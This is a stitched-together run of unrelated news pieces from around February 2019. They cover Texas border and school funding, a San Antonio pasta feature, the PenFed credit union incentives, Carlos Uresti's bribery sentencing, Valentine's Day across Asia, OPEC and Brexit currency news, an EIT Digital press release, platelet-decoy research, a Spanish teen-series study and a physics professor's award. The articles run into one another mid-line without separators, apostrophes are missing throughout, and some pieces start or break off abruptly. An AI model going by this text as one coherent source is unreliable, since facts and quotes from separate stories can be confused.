Texas now spends about $400 million a year on border security. Texas Gov. Greg Abbott suggested that lawmakers will renew that commitment over the next two years. The proposal from Cain and Biedermann would spend $2.5 billion by Aug. 31, according to Breitbart.

The promise of legislation comes as tensions continue to mount over funding for Trumps border wall. The president was in El Paso for a campaign-style rally Monday to make his case for a wall, although he was met with a counter rally led by Democrat and El Paso native Beto ORourke.

STATE POLITICS: Get the most out of what's going on politically through our Texas Take newsletter. Sign up here.AUSTIN  Texas lawmakers are thinking about giving school districts money to lengthen the school year, and superintendents are for it.

The Texas Commission on Public School Finance in December recommended that the Legislature help to pay for up to 30 additional instructional days to the 180-day school calendar. The panel recommended the state pitch in half the cost of each school day, to a maximum of $50 million per day in the first year, according to the commissions report.

Several superintendents testified before the House Public Education Committee that the investment would be worth it because the additional time gives struggling students, including those from low-income backgrounds, more time to study and would help them to learn to read at grade level. In Texas, just four in 10 students read at grade level by third grade.

On HoustonChronicle.com: Texas teachers, dont count on that $5,000 raise just yet

Were not keeping our students long enough throughout the year, Dr. Xavier De La Torre, a superintendent in El Paso, told the committee on Tuesday. He represents the states largest school districts for the Texas Urban Council of Superintendents, including Houston, Dallas, San Antonio and Fort Worth. So any resources that would allow us to continue the school year into the summer  not a summer school program or an enrichment program  would benefit these students.

Texas now requires at least 75,600 minutes of instruction, about 180 seven-hour days.

Texas lawmakers are now crafting an education bill to change how the state funds schools, which could include a provision allowing school districts to add days to the school year. That omnibus legislation has yet to be filed, but will also likely include several elements, including an incentive for schools to offer full-day prekindergarten and increasing state spending on low-income children and students who speak little or no English.

So far, the three top leaders in state government have made no push for extending the school day, instead focusing on other initiatives such as boosting pay for teachers.Any home cook in San Antonio worth their salt wouldnt think twice about making tortillas from scratch  and with good reason. They learned how to make their own a lifetime ago, probably working alongside their abuelita, and they can whip up a hot dozen in a blink.

So why is pasta so intimidating?

Elena DAgostino, a private chef and pasta instructor in San Antonio, says it shouldnt be. If you can make a decent tortilla, you already have more than enough culinary know-how to create a grand meal of fresh pasta.

DAgostino was raised in Turin, Italy, and started making pasta alongside her nonna at age 6. Now, decades later, she works eggs and flour into a smooth dough with the deft hands of a seasoned professional, but she said its never too late to start learning.

Pasta is very easy. Its just two ingredients, (flour and eggs), DAgostino said. Of course it requires practice, but once you put your hands on it, you understand it can come out very naturally.

On ExpressNews.com: Sourdough is back, connecting new generations of bakers with starters decades old

There are some challenges to creating a truly Italian-style pasta in the U.S. For starters, in Italy flour is rated by the fineness to which it is milled. The finest and most preferred for pasta, rated 00, can be difficult to find here. If you can plan ahead, you can order it online. DAgostino said all-purpose flour can be used instead, ideally cut with a small quantity of semolina, or durum, wheat flour, which can be found in area grocery stores.

A vast array of costly equipment including motorized pasta rollers, electric pasta extruders and more is available to the home cook. Fortunately, DAgostino said only a few very basic tools are required: a large wooden cutting board, a long wooden rolling pin, a flat- and fluted-edge pastry wheel and a hand-cranked pasta machine  a total investment that can easily ring up under $100.

There are literally countless pasta shapes ranging broadly in size, texture and complexity. Fortunately, DAgostino said a home cook only needs to know a few to make a successful meal.

On ExpressNews.com: San Antonio millennials have gone loco for fideo

You always have to balance the shape of the pasta and the sauce, she said. The pasta has to respect the sauce, but the sauce needs to respect the pasta as well. Its like a marriage.

DAgostino recommends mastering four pasta shapes as a starting point: cavatelli, farfalle, pappardelle and ravioli. In this weeks batch of recipes, shes shared her technique for each of those shapes, and an appropriate sauce to pair them with.

We understand if this all sounds too daunting to undertake on your own. The good news is DAgostino regularly holds classes and will even bring her tutelage into your home kitchen if so desired. Visit elenadagostino.com for details.

So what are you waiting for? Finish that delicious, hand-made taco and start noodling in the kitchen already.

Recipe: Basic Pasta Dough

Recipe: Baked Cavatelli and Tomatoes

Recipe: Farfalle with Prosciutto and Peas

Recipe: Pappardelle with Sausage and Rosemary

Recipe: Ravioli with Brown Butter and Sage

Paul Stephen is a staff writer in the San Antonio and Bexar County area. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | pstephen@express-news.net | Twitter: @pjbites | Instagram: @pjstephenBexar County officials OKd an incentive package Tuesday worth up to $380,000 for Pentagon Federal Credit Union, which plans to open a regional center in San Antonio.

On ExpressNews.com: Virginia companies get $900K in city incentives to add 600 jobs in San Antonio

Virginia-based PenFed, the nations third largest credit union, plans to create 571 jobs within five years and house its employees  including several executives and positions in research, information technology and human resources  at 19500 Bulverde Road on the citys Northeast Side.

Bexar County commissioners unanimously voted Tuesday to allow county economic development officials to negotiate the incentive package, which includes an economic development grant of more than $130,000 and a skills development grant of up to $250,000 based on PenFed creating 250 jobs that will pay at least $50,000 annually.

Commissioners will vote on the final incentive package, subject to negotiations with the company, at a later date.

PenFed plans to buy the property at 19500 Bulverde Road  the current site of convenience-store chain Circle Ks Texas division and regional distribution center  and invest $8.9 million in capital improvements, according to agenda documents.

The Bexar Appraisal District valued the property, which encompasses 78.3 acres and more than 567,000 square feet of office and warehouse space, at $46.5 million last year.

The site housed San Antonio-based CST Brands Inc., which operated the Corner Store brand of convenience stores, before Circle Ks Canadian parent company Alimentation Couche-Tard bought CST for $4.4 billion in 2017.

A Circle K spokesperson previously told the Express-News the company will remain at the facility.

On ExpressNews.com: City Council gives $500K to Ohio company to move HQ to San Antonio

All told, PenFed will receive more than $3 million in city, county and state incentives to open the center.

Gov. Greg Abbott has promised more than $2.5 million from the Texas Enterprise Fund, often referred to as the states deal-closing fund for landing new businesses, to finance the center.

Last month, San Antonio City Council members gave PenFed an incentive package worth more than $700,000.

Joshua Fechter is a San Antonio-based staff writer covering real estate, economic development and philanthropy. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | jfechter@express-news.net | Twitter: @JFreportsOver the past year, longtime San Antonio lawmaker Carlos Uresti lost his political career, his livelihood as a lawyer and his glamorous lifestyle.

Now, hes about to lose his freedom.

Senior U.S. District Judge David A. Ezra on Tuesday ordered Uresti, 55, to turn himself in to U.S. marshals by 2 p.m. next Tuesday to start serving a 12-year prison term.

During a hearing, Ezra sentenced Uresti to the maximum sentence of five years in prison for his guilty plea in conspiring to commit bribery in a public-corruption case out of Reeves County in West Texas.

OnExpressNews.com: Foreclosure auction for Carlos Uresti's San Antonio-area mansion called off

The former state senator also was directed to pay $876,000 in restitution to Reeves County.

Uresti, though, caught a break when Ezra agreed with prosecutors and defense lawyers, who recommended the disgraced ex-legislator serve the sentence simultaneously with a 12-year prison term he received in an unrelated fraud case in June.

It will be at least 2029 before Uresti is eligible for parole. He must serve three years of federal supervision following his release.

Uresti, reading from a prepared statement during the roughly 30-minute proceeding, acknowledged becoming intoxicated with the power that came with his title in Senate District 19.

I did what I promised myself I would never do and used my title for my benefit, a contrite Uresti told the judge.

He admitted betraying constituents and family.

It is my primary mission and my goal to redeem myself to my friends, my family and victims, he added.

Uresti arrived at the courthouse surrounded by family and supporters, saying he was ready to accept responsibility for his actions.

Im ready to put this behind me, and I just ask for all your prayers, he said.

Uresti later said his biggest regret was letting people down.

While Im incarcerated, Im going to continue to reach out to folks that I can help and help them rehabilitate themselves as well, rehabilitate myself and so when I come back, Im going to be a bigger and better and stronger person of character to continue to help my community,  he said.

Alicia ONeill, one of Urestis defense lawyers, asked Ezra to allow her client to self-surrender, but the judge gave Uresti only seven days to spend with his family and ill father.

OnExpressNews.com: Daughters of Uresti's co-defendant battle feds over Shavano Park estate

He was convicted in February 2018, Ezra said. It is now February 2019. Mr. Uresti has been out on bond for about one full year, which is extraordinary in a case like this.

There comes a time when enough is enough, the judge added. This is no surprise.

Ezra, who presided over both of Urestis criminal proceedings, called them among the saddest for him in his more than 30 years on the bench.

Sad because it was so absolutely unnecessary, Ezra said.

Had he had the need for funds, he simply should have given up his office  and gone into another endeavor, the judge said. But he didnt do that. As he admitted, he used his office and the great prestige that goes with it to engage in illegal activities and to collect a substantial sum of money as a result of those illegal activities. That, unfortunately, placed him outside the norms of our society.

About two dozen of Urestis friends and family members attended the sentencing, joined by media, courthouse personnel and other gawkers anxious to learn the San Antonio Democrats fate.

The proceedings, though, lacked the spectacle and drama of his earlier sentencing, where many of the roughly 40 Uresti supporters donned blue ribbons and blue rubber wrist bands bearing Urestis name and inscribed, Blue Ribbon Task Force, which he had a hand in creating while in the Legislature to combat child abuse.

In October, Uresti pleaded guilty to directing bribes through then-Reeves County Judge Jimmy Galindo rather than stand trial. Galindo entered his own guilty plea in 2017 and is scheduled to be sentenced Feb. 26.

Uresti had been free on bond pending the sentencing.

Lead prosecutor Joseph Blackwell told a swarm of media outside the courthouse after the sentencing that Urestis criminal cases show no one is above the law.

The lawmakers are not above the laws of this country, Blackwell said. I think that is important. That should give us all optimism, frankly  the fact that there is a check on the powerful. I think that is the message that should be known to everybody.

Prosecutors obtained an indictment in May 2017 against Uresti and Lubbock businessman Vernon Trey Farthing II, charging them with conspiracy to commit bribery and conspiracy to commit money laundering in a case out of Reeves County in West Texas.

The money laundering charge was dropped as part of Urestis plea deal. He gave up the appeal of his conviction and sentence in the fraud case. A jury convicted him nearly a year ago of 11 felonies, including wire fraud, securities fraud and conspiracy to commit money laundering for his roles at FourWinds Logistics, a now-defunct oil-field services company.

Uresti surrendered his law license and resigned from the Senate following his conviction. Besides receiving a 12-year prison term, Uresti was ordered to pay $6.3 million in restitution to FourWinds victims.

In the Reeves County case, Uresti and Farthing were accused of conspiring from January 2006 through September 2016 to pay and accept bribes to secure a Reeves County Correctional Center medical-services contract for Farthings company.

Prosecutors alleged Farthing paid Uresti $10,000 a month as a consultant. Half of that amount allegedly went to Galindo for his support and vote to award the contract to Farthings company, according to the indictment. Prosecutors said Uresti and Galindo shared more than $800,000 in kickbacks.

Galindo, who served as county judge from 1995 to 2006, subsequently pleaded guilty to conspiracy to commit bribery and failure to file a tax return. He is scheduled to be sentenced Feb. 26.

Farthing was acquitted by a San Antonio federal jury in November.

Uresti said he will spend the next week reminiscing with family and friends, whom he expects will treat him to lunches and dinners.Love, hate, intolerance and equality mark this years Valentines Day in Asia as the occasion associated with romance and roses is being used to mark causes for gay rights and boost campaigns to stop the scourge of child marriages.

In Japan, 13 same-sex couples will go to court on Valentine's Day calling for the right to marry, in a bid to become the first Asian country to allow gay marriage.

The couples will file suits on Feb. 14 in at least four cities, including Tokyo, claiming the government is violating their constitutional rights to equal treatment, said one of their lawyers, Yoshie Yokoyama.

Japan's laws on LGBT+ rights are relatively liberal compared with many Asian countries, with homosexual sex legal since 1880. But being openly gay remains largely taboo and opponents say such unions could destroy society and family institutions.

In a push to change attitudes, one Japanese lesbian couple plan to stage wedding photos in 25 countries where same-sex marriage is legal.

Moves are also underway in Thailand to debate allowing civil partnerships, while Taiwan voters have rejected marriage equality in a referendum last year. Vietnam allows gay marriage ceremonies but couples do not enjoy the same legal protections as heterosexuals.

In India, Valentines Day is being used to put a spotlight on child marriages.

Henrietta Fore, UNICEF Executive Director said for millions of girls around the world, marriage is not a choice but an unwelcome end to their childhood and future.

The solution is simple: Ban child marriage, invest in education and empower young people, families, and communities to bring about positive change. Only then will we end this devastating practice by 2030 and protect the 150 million girls at risk, she said.

South Asia is home to the largest number of child brides with more than 40 percent of the global burden (285 million or 44 percent of the global total), followed by sub-Saharan Africa (115 million or 18 percent of the global total).

In Pakistan, the country remains a deeply traditional Muslim society where women struggle for their individual rights, and many disapprove of any efforts to allow Western culture to impinge on the countrys perceived Islamic national identity.

The University of Agriculture in Faisalabad (UAF), wants to promote eastern culture and Islamic traditions among the youth by rebranding Valentines Day as Sisters Day.

We were forgetting our culture, and Western culture was taking root in our society, a statement on the universitys website said.

UAF was mulling a plan to distribute scarves, shawls and gowns printed with the UAF insignia among female students on February 14, the statement on the website added.

Pakistan has also prohibited Valentines celebrations in public spaces and government offices across the country, while last year the countrys media regulator warned TV and radio stations against promoting the holiday.

In the Philippines, simply exchanging gifts isnt enough on V-Day. Instead, hundreds of couples take part in mass wedding ceremonies on Valentines Day. The nuptialswhich are sponsored by local governmenthelp couples who cant afford to get married themselves. The wedding cake, flowers, and even rings come as part of the package.

At the same time, Filipino President Rodrigo Duterte is continuing his attacks on the nations powerful Catholic church and called on the Vatican to allow priests to have boyfriends.

In a shocking speech given at a groundbreaking ceremony for a school near the capital Manila recently, Duterte claimed 'most priests are gay' as he doubled down on a previous claim that 'almost 90 percent' of the clergy are homosexuals.

Duterte's strong remarks are in response to the Catholic church's opposition to his government's ongoing war on drugs, which has left thousands dead.

In China, the western celebration of romantic union is taking on a new meaning with Beijing trying to tackle its aging population and reverse the legacy of its draconian one-child policy.

Registrations for marriage in China have declined annually since 2013; the number of divorces has climbed every year since 2006. A rising section of Chinas middle class no longer see marriage as the only path to security and are choosing to forgo a traditional family life and prioritize careers. Marriage and children are becoming less significant in young peoples lives, says Professor Gu Baochang, a demographer at Beijings Renmin University.

China has 34 million more men than women, because of a preference for male heirs and a history of selective abortions. By 2020, China will have 24 million single men of marrying age unable to find wives.

Thailand plans to boost its tourism industry with its tradition of underwater weddings with three couples from China, Malaysia, and the Netherlands tying the knot underwater at Hin Kon Diew, near the Morakot cave in Kantang district.

Senior officials of the province involved in the registration, including the governor and national park chief, will don full gear and dive into the marine beauty spot to conduct the wedding ceremony for the couples.

In Indonesia, at least 10 cities across the world's biggest Muslim-majority nation have full or partial bans on Valentine's Day celebrations.

Aceh province, the only place in Indonesia that imposes Islamic law, s expected to issue a fresh Valentine's prohibition, citing religious norms. It has ordered bans in previous years.

Islamic clerics and some pious Muslims use the occasion to criticize what they see as Western decadence.

But many Indonesians practise a moderate form of Islam and celebrate Valentine's Day with cards, chocolates, and flowers for their loved ones.

A recent Picodi.com survey of 6,400 people in 38 countries found the most and least wanted gifts for both men and women.

The most desired gifts:

Valentines Day card (39 percent)

Electronic devices (34 percent)

Clothing (33 percent)

Sweets (22 percent)

Money (22 percent)

The least desired gifts:

Valentines Day card (24 percent)

Sex toys (23 percent)

Flowers (20 percent)

Stuffed toys (19 percent)

Underwear (16 percent)Tuesday, February 12, 2019

In an upcoming meeting during the week of February 18th, Russia and Saudi Arabia will discuss creating a non-binding alliance of OPEC (14 countries), the Russian led non-OPEC group (10) - known as OPEC+, and Mexico, a non-OPEC member. If the parties agree on this new alliance, a formal vote will take place sometime in April confirming its creation.

During this same period, US legislation called The No Oil Producing and Exporting Cartels Act 2019." - or Nopec - is working its way through the House which would formally consider OPEC as a price-fixing organization subject to possible asset forfeiture in the US, most of which are owned by Saudi Arabia.



These new developments could in short-order create a Clash of the Petro-Titans that pits most oil producing countries against the US and could destabilize the oil markets featuring sustained price volatility.



The article with its full analysis and geopolitical perspectives is available via the following link:



UPDATE: Pound Sterling remained subdued through Wednesdays session with the GBP-to-USD exchange rate cross failing to extend early session gains above the $1.29 handle.

The Sterling-to-Euro pair was seen to be trading marginally lower (0.03%) than the daily open with the cross last seen at 1.1377.

With six weeks to go until the March 29th Brexit deadline, market implied volatility fell to a three-month low with investors anticipating higher volatility around the UKs exit date.

Commenting on reports earlier in the session that the PM will run down the clock in an attempt to force a choice between her proposed withdrawal agreement or a lengthy delay to the Brexit process, ActivTrades senior analyst, Ricardo Evangelista wrote Unsurprisingly, the reaction from the markets to these rumours is nonexistent; the process has been dragging on for too long, with many ups and downs and investors appear to have developed a degree of immunity to political intrigue.

Meanwhile UK inflation edged lower in January, with the latest CPI printing a 1.8% year on year rise, declining from a previous 2.1% release and missing forecasts of a 1.9% increase.

Commenting on the implications for the Bank of England (BoE) with regards to interest rates, INGs developed markets economist, James Smith wrote what matters more for the central bank is the recent strength in wage growth. That said, the outlook for interest rates is still solely dependent on Brexit and that means policymakers will remain on the sidelines for the time being.

UK Chief Brexit Negotiator Overheard Discussing PMs Brexit Tactics in Brussels Hotel Bar

Pound Sterling (GBP/) exchange rates remained Brexit driven on Wednesday, with GBP crosses dipping briefly at the start of the European session in response to reports the PM will offer MPs a last-minute choice between her deal or a lengthy Brexit delay.

At the time of writing, the Pound-to-Euro (GBPEUR) exchange rate was trading at 1.138, flat from open after a brief foray above 1.14.

The Pound-to-Dollar exchange rate was last seen at $1.28960 after failing to solidify gains above the $1.29 handle.

The UKs chief Breixt negotiator, Olly Robbins, was reportedly overheard in a Brussels hotel bar discussing the Prime Ministers Brexit strategy  which amounts to waiting until the 11th hour then presenting members of parliament with a choice between the Prime Ministers deal or a lengthy delay to Brexit.

According to the ITV correspondent who overheard the snippet, Robbins said Got to make them believe that the week beginning end of March... Extension is possible but if they dont vote for the deal then the extension is a long one.

UK government officials have yet to comment on the report with one spokesperson saying we dont propose to comment on alleged remarks from a private conversation. The governments focus is on securing the improvements parliament needs to pass a deal so we leave the EU on 29 March.

Tuesdays session saw the Prime Minister address MPs over the current state of Brexit, asking them to hold their nerve as negotiations continue between UK and EU officials as the clock ticks down to the March 29th deadline.

The Prime Minister also requested more time to pursue the governments agenda, pushing back expectations of a vote until later in the month.

May said Having secured an agreement with the European Union for further talks, we now need some time to complete that process. The talks are at a crucial stage. We now all need to hold our nerve to get the changes this house requires and deliver Brexit on time.

The latest developments are likely to feed directly into a growing number of MPs concerns that the Prime Minister is attempting to run down the clock in order to limit the choices available to MPs to her deal and no deal or a lengthy delay.

CMC Markets analyst, Michael Hewson, commented on the negative impact a delay could have Further delay is unlikely to be welcomed by business. However the prime minister appears determined to push her deal to the wire, given the lack of a parliamentary majority for any other options.BRUSSELS, February 13, 2019 /PRNewswire/ --

The EIT Digital Strategic Innovation Agenda 2020-2022

EIT Digital presented its Strategic Innovation Agenda for the period 2020-2022, outlining plans to strengthen Europe's position in the digital world and to help business and entrepreneurs to be at the forefront of digital innovation. The document was officially handed over to European Commission Vice-President Andrus Ansip and MEP Eva Kaili.

(Logo: https://mma.prnewswire.com/media/483248/eit_Digital_Logo.jpg )

"We have identifiedfive core challenges that need to be addressed in order to build a strong digital Europe," said EIT Digital CEO Willem Jonker.

1) We need to bring European values to the digital world by building global European digital businesses and scaling up disruptive digital ventures that have potential for global success. 2) We have to further address fragmentation to support digital enterprises and entrepreneurs. The completion of the Digital Single Market must be accelerated and the whole of Europe turned into a "de facto" domestic market for European entrepreneurs. 3) It is necessary to raise R&D investments in digital technologies and emphasise on software, where currently American and Asian companies are leading the way. 4) We must strongly increase deep tech innovation investments and take mature research results from laboratory to market, especially by means of entrepreneurship. 5) And we have to adapt the European education system to the digital reality, to equip people with the right digital skills, and to deploy digital technology in order to support education.

The Strategic Innovation Agenda outlines EIT Digital's strategy for the coming years and provides concrete answers to these core challenges.

"EIT Digital builds on strong achievements and will focus in coming years on further increasing the global impact of European actors in the digital world," emphasised Willem Jonker. "We will do so by selecting and growing the most promising European digital technology from our ecosystem and beyond, and by supporting the attraction and education of necessary digital talent."

Building on a strong partner ecosystem of business, research and academia, EIT Digital applies key instruments to strengthen European digital innovation:

- Drive market uptake of top European research results: EIT Digital facilitates cross-border innovation collaboration to bring promising, mature research results out of the lab and quickly into the market. For the first time ever, EIT Digital opens in 2019 its call for proposals beyond its 200-strong partner network to generate even more commercially competitive innovations. - Support international growth: The EIT Digital Accelerator helps fast-growing European deep tech scaleups to expand internationally and become dominant global players. - Fuelling the European market with digital entrepreneurs through education: The EIT Digital Academy equips talents with solid technical knowledge and the necessary entrepreneurship and business skills to spot opportunities, understand market needs and capitalise on them.

For more information visit:http://www.eitdigital.eu

Follow EIT Digital on Twitter:@EIT_Digital

Photo: https://mma.prnewswire.com/media/483248/eit_Digital_Logo.jpg

CONTACT: Vanessa Perez, Head of Communications, T: +33-613-54-41-11, E:vanessa.perez@eitdigital.euHeart disease, stroke, sepsis, and cancer collectively cause the greatest number of deaths worldwide. They also have something else in common: all of them are associated with activated platelets, the cells that circulate in our bloodstreams and normally help form blood clots to stop bleeding and promote healing when we are injured, but can also contribute to dangerous blood clots, tumors, and other problems. Several antiplatelet drugs have been developed to combat platelet-related conditions, but their effects are not easily reversible, and patients taking these drugs are at risk of uncontrolled bleeding if injured. Also, if these patients need to undergo surgery, they must stop their treatment for up to a week prior to the procedure, which raises their risk of developing blood clots.

Now, a team of researchers at the Wyss Institute at Harvard University and several collaborating institutions has created a drug-free, reversible antiplatelet therapy that employs deactivated "decoy" platelets that could reduce the risk of blood clots and potentially prevent cancer metastasis as well. The research is reported in Science Translational Medicine.

"The reversibility and immediate onset of action are major advantages of our platelet decoys, and we envision them to be useful in hospital-based situations such as preventing clotting in high-risk patients just before they undergo surgery, or when given alongside chemotherapy to prevent existing tumors from spreading," said first author Anne-Laure Papa, Ph.D., who was a postdoctoral fellow at the Wyss Institute working with the Institute's Founding Director, Donald Ingber, M.D., Ph.D. when the research was carried out and is now an Assistant Professor at George Washington University. Ingber is also the Judah Folkman Professor of Vascular Biology at Harvard Medical School and the Vascular Biology Program at Boston Children's Hospital, as well as Professor of Bioengineering at Harvard's School of Engineering and Applied Sciences.

Canceling clots

The decoys are human platelets whose outer lipid membrane and innards have been removed in the lab via centrifugation and treatment with a detergent. Because they are essentially empty, the decoys are about one-third the size of normal platelets, but they retain the majority of the adhesive proteins on their surfaces. The decoys can still use these surface molecules to bind to other cells that naturally occur in the bloodstream, but they are unable to activate the clotting process.

When the decoys were perfused into a microfluidic, blood-vessel-mimicking channel and exposed to platelet-stimulating chemicals, they did not display normal clotting behavior. And, when the researchers added decoys to normal human blood (one decoy for every five platelets) in the channel, they found that the normal platelets' ability to aggregate and bind to the channel's walls was reduced.

"The decoys, unlike normal intact platelets, are unable to bind to the vessel wall and likely hinder the normal platelets' ability to bind as well. A way to imagine this would be that the decoys are fast-moving skaters skating along the wall of an ice rink, and their high speed prevents other skaters from getting to the wall, thus limiting them from slowing down and grabbing onto it." Papa explained.

Importantly, the scientists were able to rapidly reverse the decoys' inhibition of normal platelet activity simply by adding fresh platelets to the channels. Administering platelets to patients intravenously is already a common procedure in hospitals, so a patient with decoy platelets who needed to quickly regain the ability to form blood clots because of an injury or surgery could be easily treated within a short time frame. The decoys also could be created from platelets removed from the same patient, thus offering a form of personalized cellular therapy that would not trigger an immune reaction.

The researchers then tested their decoys in rabbits and found that the same 1:5 ratio of decoys to normal platelets in their blood prevented them from developing blood clots after a blood vessel injury. Rabbits and humans have similar blood platelet counts and platelet sizes, so it is likely that they would have the same effect in human patients.

Thwarting tumors

In addition to binding to each other and blood vessel walls, platelets are known to bind to cancer cells, protecting them from the body's immune system and thereby helping them form new metastatic tumors at distant sites. When the team perfused normal platelets and human breast cancer cells into their microfluidic channels, the cancer cells stuck to and started invading the walls of the channel, similar to their behavior in forming new tumors. Encouragingly, adding decoys along with normal platelets almost completely prevented the platelets from helping the cancer cells invade the channel wall, suggesting that they could prevent the formation of new tumors.

To confirm this potential, the researchers injected mice with either human platelets or a combination of platelets and decoys, and then with human breast cancer cells. The team found that the mice that received the platelets plus decoys developed significantly smaller and fewer metastatic tumors than the ones that received normal platelets. While they have not yet been tested in humans, it is possible that one day these decoys could be infused into patients during chemotherapy to prevent existing tumors from spreading, or injected during cancer surgeries to stop released tumor cells from forming new tumors elsewhere in the body.

Papa's lab is continuing to work on this technology to ensure that the decoys can last longer in the bloodstream for enhanced effectiveness, and studying whether they can be loaded with drugs to help deliver therapies directly to the sites of blood clots and tumors, or possibly even kill circulating tumor cells in the bloodstream.

"In this study, we were able to create what is effectively a dominant-negative cellular therapy to prevent platelet activation-induced clotting and metastatic cascades," said Ingber. "It's another example of how seemingly unrelated diseases often have common contributing factors, such as inflammation, stress, or in this case, activated platelets, and that we can develop new therapies for multiple disorders by targeting one of those key factors."

###

Additional authors of the paper include Amanda Jiang, Akiko Mammoto, M.D., Ph.D. and Tadanori Mammoto, M.D., Ph.D. from Boston Children's Hospital and Harvard Medical School; Netanel Korin, Ph.D., Anna Waterhouse, Ph.D., Emma Nash, Amanda Graveline, D.V.M., Andyna Vernet, A.L.A.T., and Abhishek Jain, Ph.D. from the Wyss Institute at Harvard University; Michelle Chen, Ph.D., and Roger Kamm, Ph.D. from MIT; and Erin Langan and Matthew Gounis, Ph.D. from the New England Center for Stroke Research at the University of Massachusetts.

This research was supported by the Wyss Institute for Biologically Inspired Engineering at Harvard University, the DoD Breast Cancer Breakthrough Award, and the National Cancer Institute.The media have become key agents of socialization in the construction of teenagers' and young people's identities. In particular, media representations of sexuality and love become informal educational agents of the first order on these issues.

A very good example of this was the series for Spanish teenagers Fisica o Quimica (2008-2011), produced by Ida y Vuelta and broadcast on Antena 3, of which some episodes reached more than three million viewers. The series focuses on the stories of a group of high school students and their teachers. The success of the series extended to other countries like France, Portugal, Italy, the United States and countries in Latin America, where it received applause and support from the teenage audiences.

Fisica o Quimica also gave rise to social controversy, for and against, due to its the representation of sexuality, gender-based violence and teenage pregnancy, among others. "These polarized perspectives of Fisica o Quimica are neither new nor unique to this series", states Maria Jose Masanet, a researcher with the Department of Communication at UPF and co-author of a paper that performs a qualitative analysis of the contents of the series. This research was published jointly with Frederik Dhaenens, a researcher at the University of Ghent (Belgium) on 22 January in Journal of Youth Studies.

Analysing how young people interpret the representation of gender-based violence

The main goal of this study was to analyse how young people interpret the representation of gender-based violence in the series Fisica o Quimica, focusing on how the audience discusses the representation of male aggression towards women represented through the teenage characters Ruth and Gorka. In addition, the authors analysed how audiences are reflected in gender stereotypes and romantic inequalities and/or teenage sexual relations. In this fictional television series, the characters Ruth and Gorka have a stormy romantic relationship characterized by psychological abuse by the boy towards the girl. Although they split up on several occasions, they always end up getting back together and the abuse intensifies throughout the series until serious health problems arise and the relationship breaks up definitively.

"Studying the discourse of the young people about gender-based violence in Fisica o Quimica has provided us with an insight into their way of thinking about this issue and about romantic myths, as well as the role that the series plays in shaping adolescents' outlook on violence", say the authors of the study.

The authors analysed the feedback in the fans' forum of the series Fisica o Quimica and, more specifically, the comments dealing with issues or scenes related to gender-based violence among the adolescent characters. The aim was to explore the meanings the audience gives to the violence depicted in the series and how they reflect on gender stereotypes and romantic myths. For example, the work found that "participants in the forum did not identify Gorka's verbal and psychological abuse towards Ruth until the violence became unbearable".

These data agree with previous studies that have shown that Spanish young people and teenagers do not consider issues such as controlling time, money or friends, blackmail or threats and insults as being aggression. They perceive verbal abuse as just another aspect of the relationship and can go as far as justifying it 'in the name of love". Abuse is mainly associated with physical aggression.

As a result of the analysis, this study reveals that teenagers have internalized a set of stereotypes and myths of romantic love that can be very dangerous because they justify male violence towards women. The value of this work is twofold. First, it provides us with information on how gender-based violence and romantic relationships among adolescents are perceived and discussed in Spain, since the research exposes how they understand gender-based violence and the motives or actions that lead to justifying it or criticizing it. Secondly, "our work also has an educational value. We demonstrate that a teen series has the potential to explore and work to prevent gender-based violence. The series provides material for a debate on controversial and provocative representations without trying to lecture its audience on morals and providing a discussion on its fans' forum", conclude Masanet and Dhaenens.

###Ramon Lopez, a professor of physics at The University of Texas at Arlington, has been named to the UT System Academy of Distinguished Teachers for his excellence in teaching and mentoring students.

He is one of only two candidates selected from across the UT System to join the distinguished body of educators this year.

Lopez is an esteemed space physicist and a passionate advocate for enhancing the quality of K-12 science education and increasing diversity in science, technology, engineering and mathematics, or STEM, fields. He will be inducted into the Academy during an April ceremony in Austin.

"This is an exceptional honor, and the response from my colleagues at UTA has been wonderful," Lopez said. "I look forward to continuing to work within UTA and the UT System to improve education and success for all students."

Lopez becomes the third College of Science faculty member inducted into the prestigious Academy in its seven-year history, joining Kevin Schug and Barbara Shipman, who were both inducted in 2016.

Other UTA faculty members in the UT System Academy of Distinguished Teachers include English Professor Kenneth Roemer and Mary Lynn Crow from the College of Education.

"This is well-deserved and a wonderful testament to Dr. Lopez's tremendous impact on our students," UTA President Vistasp Karbhari said. "His ability to engage students in cutting-edge heliophysics research and his commitment to mentor future STEM leaders at UTA set a high bar for all of us. I'm extremely grateful for his dedication to our students, to science and STEM education, and for all that he does to enhance teaching and research excellence at UTA."

Lopez is a co-director of UTA's UTeach Arlington initiative, a highly successful secondary science and mathematics teacher preparatory program, which enables students to earn a science or math degree along with a teaching certification within a four-year period.

The UT System Academy of Distinguished Teachers is the latest recognition of Lopez's extraordinary impact in science education at the K-12 and collegiate levels. In 2018 he was inducted into the UTA Academy of Distinguished Teachers and also received the Hispanic Engineer National Achievement Awards Conference Education Award from Great Minds in STEM, a nonprofit organization that promotes STEM careers, especially in underserved communities.

In 2017, Lopez received the UT System Regents' Outstanding Teaching Award and the UTA Award for Excellence in Doctoral Mentoring, and was elected a fellow of the American Association of Physics Teachers for his contributions to physics education. He won the American Geophysical Union's 2016 Space Physics and Aeronomy Richard Carrington Award, which honors recipients' significant impact on the understanding of science by students and the public. He was the 2012 recipient of the APS Edward A. Bouchet Award, which seeks to promote the participation of underrepresented minorities in physics by identifying and recognizing a distinguished minority physicist who has made significant contributions to physics research.

He also received the Society for the Advancement of Chicanos/Hispanics and Native Americans in Science Distinguished Scientist Award in 2010, given to members for their dedication to science, education and mentoring and for their willingness to serve as role models for the next generation of minority scientists. In 2002, Lopez received the APS Dwight Nicholson Medal for Outreach, which honors humanitarian service.

Lopez has consulted with school districts and education agencies across the country to improve standards in science education. In December 2018 he was named chair of the Science Academic Advisory Committee for the College Board, and will serve a two-year term. From 2010-13, he co-chaired the writing team that produced the Next Generation Science Standards, which provides content standards for K-12 science educators. He also was a member of the National Research Council's Committee on Undergraduate Science Education from 2002-04, and from 2006-09 he was a member of the writing team for the College Board's first-ever Science Standards for College Success, coauthoring the physical science standards.

He has also received millions of dollars in research funding from sources including the National Science Foundation and NASA. His research interests are primarily in magnetospheric physics and space weather, as well as solar wind variations and what that shows about solar activity. Lopez also conducts research in physics education and has graduated three physics doctoral students from UTA whose research concerned teaching and learning, we well as applied cognitive science.

In addition to the American Association of Physics Teachers, he is a fellow of the American Physical Society and the American Association for the Advancement of Science.

